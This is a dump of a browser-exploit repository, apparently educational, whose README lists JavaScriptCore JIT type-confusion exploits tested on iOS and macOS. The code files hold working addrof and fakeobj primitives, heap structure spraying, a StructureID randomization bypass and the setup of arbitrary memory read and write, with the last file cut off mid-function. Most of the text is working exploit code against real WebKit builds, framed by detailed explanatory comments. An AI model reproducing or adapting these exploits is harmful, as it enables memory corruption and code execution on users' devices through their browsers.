├── JavaScriptCore ├── README.md ├── dateprototype_exploit.js ├── instanceof_exploit.js ├── primitives │ ├── 0001-exploit-primitives.patch │ └── pwn.js └── regexp_exploit.js └── README.md /JavaScriptCore/README.md: -------------------------------------------------------------------------------- 1 | # Exploit Playground 2 | 3 | ## Disclaimer 4 | > All the source code on this repository is provided for educational and informational purpose only, and should not be construed as legal advice or as an offer to perform legal services on any subject matter. 5 | > 6 | > The information is not guaranteed to be correct, complete or current. 7 | > 8 | > The author (Alexandro Luongo) makes no warranty (expressed or implied) about the accuracy or reliability of the information at this repository or at any other website to which it is linked. 9 | 10 | ## Exploits 11 | 12 | ## JavaScriptCore 13 | 14 | | Exploit | Details | Tested versions | 15 | |:-------------:|:------------------------------------------------------------------------------------------------------------------------------------------------------:|:---------------------------:| 16 | | instanceof | JIT bug to trigger a controlled type confusion
Arbitrary Memory Read/Write using boxed/unboxed arrays
Remote Code Execution (macOS) | iOS 11.3.1 | 17 | | regexp | JIT bug to trigger a controlled type confusion
Arbitrary Memory Read/Write using WebAssembly
Remote Code Execution (macOS) using WebAssembly | iOS 12.1.1
macOS 10.14 | 18 | | dateprototype | JIT bug to trigger a controlled type confusion | iOS 13b3 | 19 | -------------------------------------------------------------------------------- /JavaScriptCore/dateprototype_exploit.js: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (C) 2019 Alexandro Luongo (w00dl3cs). 3 | * 4 | * Bug found by Luca Todesco (qwertyoruiop) 5 | * Original PoC here: http://rce.party/wtf.js 6 | */ 7 | 8 | var datePrototype = undefined; 9 | 10 | // 11 | // Exploit primitives 12 | // 13 | // Bug Tracker: https://bugs.webkit.org/show_bug.cgi?id=196315 14 | // WebKit Commit: https://github.com/WebKit/webkit/commit/09af07796b44d812d937a4b1b52f8b5442a97cc8 15 | // 16 | // "Structure::create should call didBecomePrototype()" 17 | // 18 | var primitives = { 19 | addrof: function(obj) { 20 | let arg = [1.1, 2.2, 3.3]; 21 | 22 | let date = new Date(); 23 | date[1] = 1; 24 | 25 | function InfoLeaker(arg) { 26 | 0 in date; 27 | return arg[0]; 28 | } 29 | 30 | for (var i = 0; i < 10000; ++i) 31 | InfoLeaker(arg); 32 | 33 | var handler = { 34 | has: function() { 35 | arg[0] = obj; 36 | return false; 37 | } 38 | } 39 | 40 | Object.setPrototypeOf(Date.prototype, new Proxy(datePrototype, handler)); 41 | 42 | var addr = InfoLeaker(arg); 43 | 44 | Object.setPrototypeOf(Date.prototype, datePrototype); 45 | 46 | if (addr !== 1.1 && typeof addr !== 'object') 47 | return Int64.fromDouble(addr); 48 | 49 | throw "Could not leak address using 'addrof' primitive!" 50 | }, 51 | fakeobj: function(addr) { 52 | let arg = [1.1, 2.2, 3.3]; 53 | 54 | let date = new Date(); 55 | date[1] = 1; 56 | 57 | function ObjFaker(arg) { 58 | 0 in date; 59 | arg[0] = addr; 60 | } 61 | 62 | for (var i = 0; i < 10000; ++i) 63 | ObjFaker(arg); 64 | 65 | var handler = { 66 | has: function() { 67 | arg[0] = {}; 68 | return false; 69 | } 70 | } 71 | 72 | Object.setPrototypeOf(Date.prototype, new Proxy(datePrototype, handler)); 73 | 74 | ObjFaker(arg); 75 | 76 | Object.setPrototypeOf(Date.prototype, datePrototype); 77 | 78 | var obj = arg[0]; 79 | 80 | if (typeof obj === 'object') 81 | return obj; 82 | 83 | throw "Could not inject fake object using 'fakeobj' primitive!" 84 | } 85 | }; 86 | 87 | // 88 | // Update: December, 2019 89 | // 90 | // On December, 5th 2019, security researcher Wang Yong (@ThomasKing2014) from 91 | // Alibaba Security presented his talk "Thinking outside the JIT Compiler" at 92 | // BlackHat Europe, proposing two different methods to bypass StructureID 93 | // randomization. 94 | // 95 | // You can find his presentation here (for reference): 96 | // https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf 97 | // 98 | // As a public technique to bypass such mitigation has been released, I think 99 | // it's time to update this exploit to reflect the changes accordingly. 100 | // 101 | function leakStructureId(victimObj) { 102 | var symbolCellHeader = new Int64([ 103 | 0x00, 0x00, 0x00, 0x00, 104 | 0x0, 105 | 0x2, 106 | 0x10, 107 | 0x1 108 | ]); 109 | 110 | var lengthAndFlag = new Int64([ 111 | 0x02, 0x00, 0x00, 0x00, 112 | 0x04, 0x00, 0x00, 0x00 113 | ]); 114 | 115 | var container = { 116 | jsCellHeader: symbolCellHeader.asJSValue(), 117 | m_uid: null, 118 | length_flag: lengthAndFlag.asDouble(), 119 | description: victimObj 120 | }; 121 | 122 | var containerAddr = primitives.addrof(container); 123 | var fakeSymbolAddr = Add(containerAddr, 0x10); 124 | var fakeStringAddr = Add(fakeSymbolAddr, 0x10); 125 | 126 | var fakeString = primitives.fakeobj(fakeStringAddr.asDouble()); 127 | 128 | container.m_uid = fakeString; 129 | 130 | var fakeSymbol = primitives.fakeobj(fakeSymbolAddr.asDouble()); 131 | 132 | var structureId = ""; 133 | var symbolDescription = Symbol.prototype.toString.call(fakeSymbol); 134 | for (var i = 0; i < 2; ++i) 135 | structureId += ("0000" + symbolDescription.charCodeAt(8 - i).toString(16)).slice(-4); 136 | 137 | return structureId.match(/.{1,2}/g).map(x => "0x" + x).reverse(); 138 | } 139 | 140 | var structs = []; 141 | 142 | function sprayStructures() { 143 | for (var i = 0; i < 1000; i++) { 144 | var a = [13.37]; 145 | a['prop'] = 13.37; 146 | a['prop' + i] = 13.37; 147 | structs.push(a); 148 | } 149 | } 150 | 151 | function pwn() { 152 | sprayStructures(); 153 | 154 | var targetArray = new Array(); 155 | var structureId = leakStructureId(targetArray); 156 | 157 | var jsContiguousCellHeader = new Int64([ 158 | ...structureId, // m_structureID 159 | 0x9, // m_indexingTypeAndMisc (ArrayWithContiguous) 160 | 0x20, // m_type (ArrayType) 161 | 0x8, // m_flags (OverridesGetOwnPropertySlot) 162 | 0x1 // m_cellState (DefinitelyWhite) 163 | ]); 164 | 165 | var victim = structs[Math.floor(Math.random() * structs.length)]; 166 | 167 | var container = { 168 | jsCellHeader: jsContiguousCellHeader.asJSValue(), 169 | butterfly: victim 170 | }; 171 | 172 | var containerAddr = primitives.addrof(container); 173 | print("[+] Container @ " + containerAddr); 174 | 175 | var fakeArrayAddr = Add(containerAddr, 0x10); 176 | print("[+] Fake Array @ " + fakeArrayAddr); 177 | 178 | var driver = primitives.fakeobj(fakeArrayAddr.asDouble()); 179 | 180 | if (!(driver instanceof Array)) 181 | throw "Could not create fake Array!"; 182 | 183 | // 184 | // For brevity, the remaining part of the exploitation process has 185 | // been redacted: you can find the in-depth analysis in other 186 | // write-ups available on this repository. 187 | // 188 | // Keep in mind that WebAssembly memory is now caged, and that 189 | // at the time of writing there is no public technique which can 190 | // be used to bypass that mitigation. But with Structure ID randomization 191 | // not being a problem anymore, one could achieve arbitrary memory 192 | // R/W primitives by abusing boxed/unboxed arrays. 193 | // 194 | // If you want to read more about the mitigations discussed here, 195 | // ypu can have a look at the following commits on the WebKit repository: 196 | // 197 | // * WebAssembly Gigacage: https://github.com/WebKit/webkit/commit/385d20a0e36c9a7db638b26273ddc9c92b573cdc 198 | // * StructureID randomization: https://github.com/WebKit/webkit/commit/f19aec9c6319a216f336aacd1f5cc75abba49cdf 199 | // 200 | } 201 | 202 | function init() { 203 | datePrototype = Object.getPrototypeOf(Date.prototype); 204 | } 205 | 206 | ready.then(function() { 207 | try { 208 | init(); 209 | pwn(); 210 | } catch (e) { 211 | print("[-] Exception caught: " + e); 212 | } 213 | }).catch(function(err) { 214 | print("[-] Initialization failed"); 215 | }); -------------------------------------------------------------------------------- /JavaScriptCore/instanceof_exploit.js: -------------------------------------------------------------------------------- 1 | /* 2 | We didn't think it would work. Not really. 3 | We were young, and stupid in the way that only young people can be. 4 | We felt immortal, drawing pentagrams and playing at being dark sorcerers. 5 | Until, one day, it worked. 6 | And brought forth something truly evil. 7 | */ 8 | 9 | // 10 | // Resources I found useful in order to write this analysis: 11 | // 12 | // - Attacking JavaScript Engines (saelo) [http://phrack.org/papers/attacking_javascript_engines.html] 13 | // - JavaScript Engine Fundamentals (mathiasbynens) [https://mathiasbynens.be/notes/shapes-ics] 14 | // - Pwn2Own 2018: Safari + macOS (saelo) [https://github.com/saelo/pwn2own2018] 15 | // - Various WebKit exploits (niklasb) [https://github.com/niklasb/sploits/tree/master/safari] 16 | // - Various WebKit exploits (externalist) [https://github.com/externalist/exploit_playground] 17 | // 18 | // Enjoy! 19 | // 20 | // - Alexandro Luongo (@w00dl3cs) 21 | 22 | // 23 | // Exploit primitives 24 | // 25 | // CVE-2018-42** 26 | // 27 | // Bug Tracker: https://bugs.webkit.org/show_bug.cgi?id=185694 28 | // WebKit Commit: https://github.com/WebKit/webkit/commit/b4e567d371fde84474a56810a03bf3d0719aed1e 29 | // 30 | // "DFG models InstanceOf incorrectly" 31 | // 32 | // The DFG JIT does not take into account that, through the use of a Proxy, 33 | // it is possible to run arbitrary javascript during an 'instanceof' operation. 34 | // As DFG does not bail-out, this might possibly lead to a type confusion. 35 | // 36 | var primitives = { 37 | // 38 | // addrof: leak the address of an arbitrary JavaScript object 39 | // 40 | // Allocate an unboxed array (ArrayWithDouble), then make it boxed (ArrayWithContiguous) 41 | // by inserting a JSObject through a side-effect call triggered inside a JIT-compiled function. 42 | // As the optimized routine still thinks the array contains unboxed values, it's 43 | // possible to retrieve the new inserted item with the engine treating it as double, while 44 | // instead it's a JSValue (pointer). 45 | // 46 | addrof: function(obj) { 47 | // Allocate an unboxed array (ArrayWithDouble) 48 | var arg = [1.1, 2.2, 3.3]; 49 | 50 | function InfoLeaker(arg, proxy) { 51 | // Trigger the side-effect, invoking 'proxy.getPrototypeOf()' 52 | _ = proxy instanceof Object; 53 | 54 | // 'arg[0]' is now a JSValue, but the routine is not aware of it 55 | return arg[0]; 56 | } 57 | 58 | // Force JIT compilation of the InfoLeaker routine 59 | for (var i = 0; i < 100000; i++) { 60 | InfoLeaker(arg, {}); 61 | } 62 | 63 | // Installing an handler on 'getPrototypeOf' 64 | // allows executing arbitrary code without DFG bailing-out 65 | var handler = { 66 | getPrototypeOf: () => { 67 | // 'arg[0]' will be replaced with a pointer to 'obj' 68 | arg[0] = obj; 69 | return {}; 70 | } 71 | }; 72 | 73 | var addr = InfoLeaker(arg, new Proxy({}, handler)); 74 | 75 | if (addr !== 1.1 && typeof addr !== 'object') 76 | return Int64.fromDouble(addr); 77 | 78 | throw "Could not leak address using 'addrof' primitive!"; 79 | }, 80 | 81 | // 82 | // fakeobj: inject arbitrary objects into the JavaScript engine 83 | // 84 | // Allocate an unboxed array (ArrayWithDouble), then make it boxed (ArrayWithContiguous) 85 | // by inserting a JSObject through a side-effect call triggered inside a JIT-compiled function. 86 | // As the optimized routine still thinks the array contains unboxed values, it's 87 | // possible to replace the new inserted item with a double, having the engine treat it 88 | // as a JSValue (pointer) instead. 89 | // 90 | fakeobj: function(addr) { 91 | // Allocate an unboxed array (ArrayWithDouble) 92 | var arg = [1.1, 2.2, 3.3]; 93 | 94 | function ObjFaker(arg, proxy) { 95 | // Trigger the side-effect, invoking 'proxy.getPrototypeOf()' 96 | _ = proxy instanceof Object; 97 | 98 | // 'arg' is now ArrayWithContiguous, but the routine is not aware of it 99 | arg[0] = addr; 100 | } 101 | 102 | // Force JIT compilation of the ObjFaker routine 103 | for (var i = 0; i < 100000; i++) { 104 | ObjFaker(arg, {}); 105 | } 106 | 107 | // Installing an handler on 'getPrototypeOf' 108 | // allows executing arbitrary code without DFG bailing-out 109 | var handler = { 110 | getPrototypeOf: () => { 111 | // 'arg[0]' will be replaced with a pointer 112 | arg[0] = {}; 113 | return {}; 114 | } 115 | }; 116 | 117 | ObjFaker(arg, new Proxy({}, handler)); 118 | 119 | var obj = arg[0]; 120 | 121 | if (typeof obj === "object") 122 | return obj; 123 | 124 | throw "Could not materialize object using 'fakeobj' primitive!"; 125 | } 126 | }; 127 | 128 | var structs = []; 129 | 130 | function sprayStructures() { 131 | for (var i = 0; i < 1000; i++) { 132 | var a = [13.37]; 133 | a['prop'] = 13.37; 134 | a['prop' + i] = 13.37; 135 | structs.push(a); 136 | } 137 | } 138 | 139 | function makeJITCompiledFunction() { 140 | // Some code to avoid inlining... 141 | function target(num) { 142 | for (var i = 2; i < num; i++) { 143 | if (num % i === 0) { 144 | return false; 145 | } 146 | } 147 | return true; 148 | } 149 | 150 | // Force JIT compilation. 151 | for (var i = 0; i < 1000; i++) { 152 | target(i); 153 | } 154 | for (var i = 0; i < 1000; i++) { 155 | target(i); 156 | } 157 | for (var i = 0; i < 1000; i++) { 158 | target(i); 159 | } 160 | 161 | return target; 162 | } 163 | 164 | function isMacOS(rwxPrologue) { 165 | // 166 | // 0x0000000000000000: push rbp 167 | // 0x0000000000000001: mov rbp, rsp 168 | // 169 | var macOSPrologue = [0x55, 0x48, 0x89, 0xe5]; 170 | 171 | return (rwxPrologue.length >= macOSPrologue.length && macOSPrologue.every((op, i) => rwxPrologue[i] === op)); 172 | } 173 | 174 | function pwn() { 175 | // 176 | // Spray Array structures so that we'll be able to guess an 177 | // Array StructureID with very high probability later on. 178 | // 179 | // +-----------------+ 180 | // | Structure 2 | 181 | // + prop2 | | 182 | // +------------> prop: 13.37 | 183 | // | | prop2: 13.37 | 184 | // | | | 185 | // | +-----------------+ 186 | // +--------------+--+ +-----------------+ 187 | // | Structure 1 | | Structure 3 | 188 | // | | + prop3 | | 189 | // | prop: 13.37 +---------> prop: 13.37 | 190 | // | | | prop3: 13.37 | 191 | // +--------------+--+ | | 192 | // | +-----------------+ 193 | // | +-----------------+ 194 | // | | Structure n | 195 | // | + propn | | 196 | // +------------> prop: 13.37 | 197 | // | propn: 13.37 | 198 | // | | 199 | // +-----------------+ 200 | // 201 | sprayStructures(); 202 | 203 | // 204 | // During structure spraying, we've allocated 1000 JSArrays. 205 | // Let's use one of them for our arbitrary read/write primitives. 206 | // Killing two birds with one stone. 207 | // 208 | var victim = structs[Math.floor(Math.random() * structs.length)]; 209 | 210 | // Faking an Array and injecting it into the engine is the first step to 211 | // construct arbitrary read/write primitives. 212 | // 213 | // In his phrack article, saelo solves the problem by faking a Float64Array and then 214 | // abusing its 'm_vector' field, so that it can be redirected to another array 215 | // under the attacker's control. 216 | // Such exploitation technique, however, is not reliable anymore since the 217 | // introduction of the Gigacages for TypedArrays (JSArrayBufferView): 218 | // 219 | // +0 { 32} JSArrayBufferView 220 | // +0 { 16} JSC::JSNonFinalObject 221 | // +0 { 16} JSC::JSObject 222 | // +0 { 8} JSC::JSCell 223 | // +0 { 1} JSC::HeapCell 224 | // +0 < 4> JSC::StructureID m_structureID; 225 | // +4 < 1> JSC::IndexingType m_indexingTypeAndMisc; 226 | // +5 < 1> JSC::JSType m_type; 227 | // +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags; 228 | // +7 < 1> JSC::CellState m_cellState; 229 | // +8 < 8> JSC::AuxiliaryBarrier m_butterfly; 230 | // +8 < 8> JSC::Butterfly * m_value; 231 | // +16 < 8> JSC::CagedBarrierPtr m_vector; 232 | // +16 < 8> JSC::AuxiliaryBarrier > > m_barrier; 233 | // +16 < 8> 234 | // +24 < 4> uint32_t m_length; 235 | // +28 < 4> JSC::TypedArrayMode m_mode; 236 | // 237 | // Pointers inside a Gigacage cannot be replaced with anything outside of it. 238 | // Long story short, 'm_vector' is now caged. 239 | // 240 | // Good news is, 'm_butterfly' is not. 241 | // While TypedArrays store values inside their 'm_vector' field, normal Arrays don't. 242 | // So faking or redirecting a butterfly is still possible as of now: 243 | // 244 | // +0 { 16} JSArray 245 | // +0 { 16} JSC::JSNonFinalObject 246 | // +0 { 16} JSC::JSObject 247 | // +0 { 8} JSC::JSCell 248 | // +0 { 1} JSC::HeapCell 249 | // +0 < 4> JSC::StructureID m_structureID; 250 | // +4 < 1> JSC::IndexingType m_indexingTypeAndMisc; 251 | // +5 < 1> JSC::JSType m_type; 252 | // +6 < 1> JSC::TypeInfo::InlineTypeFlags m_flags; 253 | // +7 < 1> JSC::CellState m_cellState; 254 | // +8 < 8> JSC::AuxiliaryBarrier m_butterfly; 255 | // +8 < 8> JSC::Butterfly * m_value; 256 | // 257 | 258 | // 259 | // StructureIDs allocated during spraying should range between 360 and 1360. 260 | // Any number in-between should provide us with a structure id we can use 261 | // to fake a valid Array. If that's not going to be the case, however, 262 | // we're gonna attempt to brute-force such identifier. 263 | // 512 (0x200) seems like a reasonable number to start from. 264 | // 265 | var jsDoubleCellHeader = new Int64([ 266 | 0x00, 0x02, 0x00, 0x00, // m_structureID (0x00000200) 267 | 0x7, // m_indexingTypeAndMisc (ArrayWithDouble) 268 | 0x20, // m_type (ArrayType) 269 | 0x8, // m_flags (OverridesGetOwnPropertySlot) 270 | 0x1 // m_cellState (DefinitelyWhite) 271 | ]); 272 | 273 | var jsContiguousCellHeader = new Int64([ 274 | 0x00, 0x02, 0x00, 0x00, // m_structureID (0x00000200) 275 | 0x9, // m_indexingTypeAndMisc (ArrayWithContiguous) 276 | 0x20, // m_type (ArrayType) 277 | 0x8, // m_flags (OverridesGetOwnPropertySlot) 278 | 0x1 // m_cellState (DefinitelyWhite) 279 | ]); 280 | 281 | // 282 | // Let's create the object whose properties are going to appear as a real 283 | // Array to the engine. 284 | // 285 | var container = { 286 | jsCellHeader: jsContiguousCellHeader.asJSValue(), 287 | butterfly: victim 288 | }; 289 | 290 | // 291 | // Let's have a look at how 'container' appears in memory. 292 | // 293 | // lldb output (with 'container' at 0x1077c45c0): 294 | // 295 | // (lldb) x/4gx 0x1077c45c0 -l 1 296 | // 0x1077c45c0: 0x0100150000000552 +----------+ 297 | // 0x1077c45c8: 0x0000000000000000 +--------+ | 298 | // 0x1077c45d0: 0x0108200900000200 +------+ | | 299 | // 0x1077c45d8: 0x00000001077b6bd0 +----+ | | | 300 | // | | | | 301 | // +----------------------------------+ | | | | 302 | // | container | | | | | 303 | // +----------------------------------+ | | | | 304 | // | +0 <8> JSC::JSCell <--------+ 305 | // | +8 <8> JSC::Butterfly <------+ 306 | // | | | | 307 | // | Inline properties: | | | 308 | // | | | | 309 | // | +16 <8> jsCellHeader <----+ 310 | // | +16 <4> m_structureID | | 311 | // | +20 <1> m_indexingTypeAndMisc | | 312 | // | +21 <1> m_type | | 313 | // | +22 <1> m_flags | | 314 | // | +23 <1> m_cellState | | 315 | // | +24 <8> butterfly <--+ 316 | // +----------------------------------+ 317 | // 318 | 319 | var containerAddr = primitives.addrof(container); 320 | print("[+] Container @ " + containerAddr); 321 | 322 | // 323 | // Pointing a JSValue to the inline properties of the 'container' 324 | // object, we can inject a valid JSObject inside the JavaScript engine. 325 | // 326 | // +----------------------------------+ 327 | // | container | 328 | // +----------------------------------+ 329 | // | +0 <8> JSC::JSCell | 330 | // | +8 <8> JSC::Butterfly | 331 | // | | 332 | // | Inline properties: | 333 | // | | +-------------------+ 334 | // | +16 <8> jsCellHeader <-----------------+ driver (JSObject) | 335 | // | +16 <4> m_structureID | +-------------------+ 336 | // | +20 <1> m_indexingTypeAndMisc | 337 | // | +21 <1> m_type | 338 | // | +22 <1> m_flags | 339 | // | +23 <1> m_cellState | 340 | // | +24 <8> butterfly | 341 | // +----------------------------------+ 342 | // 343 | 344 | var fakeArrayAddr = Add(containerAddr, 0x10); 345 | print("[+] Fake Array @ " + fakeArrayAddr); 346 | 347 | var driver = primitives.fakeobj(fakeArrayAddr.asDouble()); 348 | 349 | // 350 | // From now on, garbage collector would be super unhappy, and would 351 | // make everything crash in case it got triggered during exploitation. 352 | // 353 | // I'm pretty sure this can be avoided by fixing up the 'driver' object 354 | // so that its cell and its butterfly work in accordance to the details 355 | // of the Structure that it's trying to fake. 356 | // 357 | // Still haven't found the exact reason of the crash, nor a quick way to 358 | // fix the mess, so I'd really appreciate if someone could point me 359 | // into the right direction. 360 | // 361 | // Anyway... 362 | // 363 | 364 | // 365 | // As pointed out before, using 512 as StructureID should be a safe bet 366 | // to fake an Array object... but better safe, than sorry. 367 | // 368 | while (!(driver instanceof Array)) { 369 | jsDoubleCellHeader.assignAdd(jsDoubleCellHeader, Int64.One); 370 | jsContiguousCellHeader.assignAdd(jsContiguousCellHeader, Int64.One); 371 | 372 | container.jsCellHeader = jsContiguousCellHeader.asJSValue(); 373 | } 374 | 375 | // 376 | // In this moment, the engine recognizes 'driver' as an Array. 377 | // Arrays store values using their butterfly, and 'driver' has its 378 | // butterfly pointing to 'victim'. 379 | // In other words, accessing any slot inside 'driver' actually means 380 | // accessing properties of the 'victim' object. 381 | // 382 | // Example: 'driver[1]' gives us control over the real butterfly 383 | // of the 'victim' object: 384 | // 385 | // properties array slots 386 | // +---------------+ +-------------------------+ 387 | // +-------+-------+---------------+---------------+-------+--------+--------+ 388 | // | 13.37 | 13.37 | public length | vector length | 13.37 | slot 1 | slot 2 | 389 | // +-------+-------+---------------+-----------------------+--------+--------+ 390 | // propn prop ^ 391 | // +-------------------+ 392 | // | 393 | // +----------------------+ +-----------------------+ | 394 | // | driver | | victim | | 395 | // +----------------------+ +-----------------------+ | 396 | // | +0 <8> jsCellHeader | driver[1] | +0 <8> JSC::JSCell | | 397 | // | +8 <8> butterfly ----------------> +8 <8> JSC::Butterfly -----+ 398 | // +----------------------+ +-----------------------+ 399 | // 400 | // Note: 'public length' and 'vector length' occupy 4 bytes each. 401 | // 402 | // As 'victim' itself is an Array, modifying its butterfly implies changes to its 403 | // backing store; in other words, considering 'victim' is an ArrayWithDouble, 404 | // we can use it to write (and read) doubles almost everywhere we want. 405 | // 406 | // 'Almost', that's significant: 'victim' reads data from its butterfly, which in 407 | // turn can only be set by 'driver'; but 'driver' is an ArrayWithContiguos, so it 408 | // can only insert JSValues in its backing store. 409 | // 410 | // This, indirectly, puts a limit to what can be read/written from the 'victim' 411 | // array: everything works fine as long as we have access to a JSValue pointing 412 | // to the memory location we're interested in reading/writing... but what if we don't? 413 | // 414 | // Also, another limitation is dictated by the fact that 'victim' is an array, thus 415 | // it relies on the informations of its butterfly in order to access properties 416 | // which have been put inside its array slots: if the 'vector length' field is invalid, 417 | // then it won't be possible to fetch (or modify) any element of the array. 418 | // 419 | // In other words, as of now we would be able to read/write arbitrary memory only if: 420 | // 1) We had access to a JSValue pointing to that memory location 421 | // 2) Such memory location was preceded by a valid 'vector length' field 422 | // 423 | // These surely are limitation we need to get rid of. 424 | // 425 | // But for the time being, let's make use of what we have so far. 426 | // We can still use these capabilities to upgrade the 'addrof' and 'fakeobj' primitives, 427 | // and make them more stable/reliable. 428 | // 429 | // For this purpose, the idea is to have two different Arrays (one containing doubles 430 | // and another containing JSValues) to share the same butterfly, so that properties 431 | // set from one array could be retrieved with a different type from the other one. 432 | // 433 | 434 | // ArrayWithContiguous 435 | var boxed = [{}]; 436 | 437 | // ArrayWithDouble 438 | var unboxed = [13.37, 13.37]; 439 | 440 | // 441 | // We're going to use the unboxed array's butterfly as the shared butterfly between the two arrays. 442 | // Using an existing butterfly saves us from having to allocate a third array, and then copying its 443 | // butterfly in two other different locations. 444 | // 445 | // Through a layer of indirection, we can use the 'driver' object to replace the butterfly of the 446 | // 'victim' object, so that it points to the unboxed array. 447 | // 448 | // 'driver[1] = unboxed': 449 | // 450 | // +----------------------+ +-----------------------+ +-----------------------+ 451 | // | driver | | victim | | unboxed | 452 | // +----------------------+ +-----------------------+ = unboxed +-----------------------+ 453 | // | +0 <8> jsCellHeader | driver[1] | +0 <8> JSC::JSCell | +------> +0 <8> JSC::JSCell | 454 | // | +8 <8> butterfly --------------> +8 <8> JSC::Butterfly -------+ | +8 <8> JSC::Butterfly | 455 | // +----------------------+ +-----------------------+ +-----------------------+ 456 | // 457 | // Similarly to what happened in the previous step, at this point accessing any slot in the 'victim' 458 | // object means having access to any property of the unboxed array. 459 | // In this way, it's possible to leak the memory address its butterfly is located at. 460 | // 461 | 462 | driver[1] = unboxed; 463 | 464 | var shared_butterfly = Int64.fromDouble(victim[1]); 465 | print("[+] Shared butterfly @ " + shared_butterfly); 466 | 467 | // 468 | // Address of the unboxed butterfly has been leaked, so it's time to modify 469 | // the one of the boxed array accordingly. 470 | // 471 | 472 | driver[1] = boxed; 473 | 474 | victim[1] = shared_butterfly.asDouble(); 475 | 476 | // 477 | // Pointing 'driver[1]' to the boxed array means replacing the butterfly of the 'victim' object. 478 | // This probably needs to be reverted aswell, if we don't want the garbage collector to kill us. 479 | // 480 | 481 | // 482 | // Setup process is pretty much completed, and arbitrary read/write primitives are 483 | // right around the corner! 484 | // 485 | // The boxed and the unboxed arrays now point to the same backing store, which, 486 | // in other words, means controlled type confusion: every element added to one 487 | // of the two arrays can be fetched from the other array with a different type. 488 | // 489 | // We're gonna upgrade our 'addrof' and 'fakeobj' primitives making use of 490 | // these changes: 491 | // array slots 492 | // +--------------------------+ 493 | // +---------------+---------------+--------+--------+--------+ 494 | // | public length | vector length | slot 0 | slot 1 | slot 2 | 495 | // +---------------+------------------------+--------+--------+ 496 | // ^ 497 | // +-----------------------+ | +-----------------------+ 498 | // | boxed | | | unboxed | 499 | // +-----------------------+ | +-----------------------+ 500 | // | +0 <8> JSC::JSCell | | | +0 <8> JSC::JSCell | 501 | // | +8 <8> JSC::Butterfly --------^-------- +8 <8> JSC::Butterfly | 502 | // +-----------------------+ +-----------------------+ 503 | // ^ | | ^ 504 | // [1] | [2] | [1] | [2] | 505 | // | v v | 506 | // +---------+ +---------+ +---------+ +---------+ 507 | // | insert | | fake | | leak | | insert | 508 | // | JSValue | | JSValue | | address | | address | 509 | // +---------+ +---------+ +---------+ +---------+ 510 | // 511 | // [1] - 'addrof' primitive: 512 | // Insert an object into the boxed array, so that the butterfly gets 513 | // populated with a pointer (JSValue) to that object; finally, retrieve 514 | // it from the unboxed array as double, effectively leaking its address. 515 | // 516 | // [2] - 'fakeobj' primitive: 517 | // Insert an address into the unboxed array, so that the butterfly gets 518 | // populated with a double representing a memory location; finally, 519 | // retrieve it from the boxed array as a JSValue effectively pointing to 520 | // that location. 521 | // 522 | 523 | // 524 | // Finally, it's time to get rid of the limitations on our 525 | // arbitrary read/write primitives. 526 | // 527 | // As 'driver' is an ArrayWithContiguous and can only work with JSValues, 528 | // changing it to ArrayWithDouble would really allow us to point to 529 | // arbitrary memory locations. 530 | // 531 | // Note: 532 | // Yes, we're changing a property on the 'container' object to swap the type 533 | // of the 'driver' object, so that it can be used to modify the backing store 534 | // of the 'victim' array, which, in turn, can be used to read or write 535 | // arbitrary data to arbitrary memory locations. Seems reasonable. 536 | // 537 | 538 | container.jsCellHeader = jsDoubleCellHeader.asJSValue(); 539 | 540 | // 541 | // Time to upgrade exploit primitives! 542 | // 543 | primitives = { 544 | addrof: function(obj) { 545 | boxed[0] = obj; 546 | return Int64.fromDouble(unboxed[0]); 547 | }, 548 | 549 | fakeobj: function(addr) { 550 | unboxed[0] = addr.asDouble(); 551 | return boxed[0]; 552 | }, 553 | 554 | // 555 | // Arbitrary read/write primitives work in a slightly different way. 556 | // 557 | // 'driver' allows now to override the butterfly of the 'victim' array, 558 | // pointing it to any memory location: no more limitations on addresses 559 | // pointed by JSValues. 560 | // 561 | // But what about the other limitation, the one related to the length of 562 | // the array? Unfortunately, if the address does not point to a memory 563 | // location preceded by a valid 'vector length' field, it would still be 564 | // impossible to read or modify the content of the array slots. 565 | // 566 | // Property slots, on the other hand, are a different story: 567 | // 568 | // property slots array slots 569 | // +--------------------------+ +--------------------------+ 570 | // +--------------------------------------------------------------+ 571 | // | slot 2 | slot 1 | slot 0 | length | slot 0 | slot 1 | slot 2 | 572 | // +--------+--------+--------+-----------------+--------+--------+ 573 | // ^ 574 | // +-------------------------------+ 575 | // | 576 | // +----------------------+ +-----------------------+ | 577 | // | driver | | victim | | 578 | // +----------------------+ +-----------------------+ | 579 | // | +0 <8> jsCellHeader | driver[1] | +0 <8> JSC::JSCell | | 580 | // | +8 <8> butterfly ----------------> +8 <8> JSC::Butterfly -----+ 581 | // +----------------------+ +-----------------------+ 582 | // 583 | // Note: 'public length' and 'vector length' have been squashed in a single 584 | // 64-bit field, 'length'. 585 | // 586 | // The idea is to replace the 'victim' array butterfly so that the arbitrary 587 | // memory location is not going to be placed inside the first array slot, but 588 | // rather in the first property slot. 589 | // 590 | // This can be easily achieved by sliding the address of interest by 16 bytes, 591 | // and point the 'victim' butterfly to that location: in this way, the real 592 | // address we're interested in overlaps with the first property slot of the array: 593 | // 594 | // property slots array slots 595 | // +--------------------------+ +--------------------------+ 596 | // +--------------------------------------------------------------+ 597 | // | slot 2 | slot 1 | slot 0 | length | slot 0 | slot 1 | slot 2 | normal butterfly 598 | // +--------+--------+--------+--------+--------+--------+--------+ 599 | // +--------+--------+--------+--------+---------+--------+--------+ 600 | // | slot 2 | slot 1 | addr | addr+8 | addr+16 | slot 1 | slot 2 | overlapped butterfly 601 | // +--------+--------+--------+------------------+--------+--------+ 602 | // ^ 603 | // +-------------------------------+ 604 | // | 605 | // +----------------------+ +-----------------------+ | 606 | // | driver | | victim | | 607 | // +----------------------+ +-----------------------+ | 608 | // | +0 <8> jsCellHeader | driver[1] | +0 <8> JSC::JSCell | | 609 | // | +8 <8> butterfly ----------------> +8 <8> JSC::Butterfly -----+ 610 | // +----------------------+ +-----------------------+ 611 | // 612 | // At this point, reading or writing to arbitrary memory locations becomes 613 | // just a matter of accessing that particular property slot on the 'victim' 614 | // array. 615 | // 616 | // In this regard, whe know that 'victim' is one of the 1000 arrays which 617 | // have been sprayed in the very early stages of the exploit; each of these 618 | // arrays has its own StructureID (so they have different properties), but all 619 | // of them share the common 'prop' property, which is going to act as our entry 620 | // point for arbitrary read/write primitives! 621 | // 622 | write64: function(addr, what) { 623 | driver[1] = Add(addr, 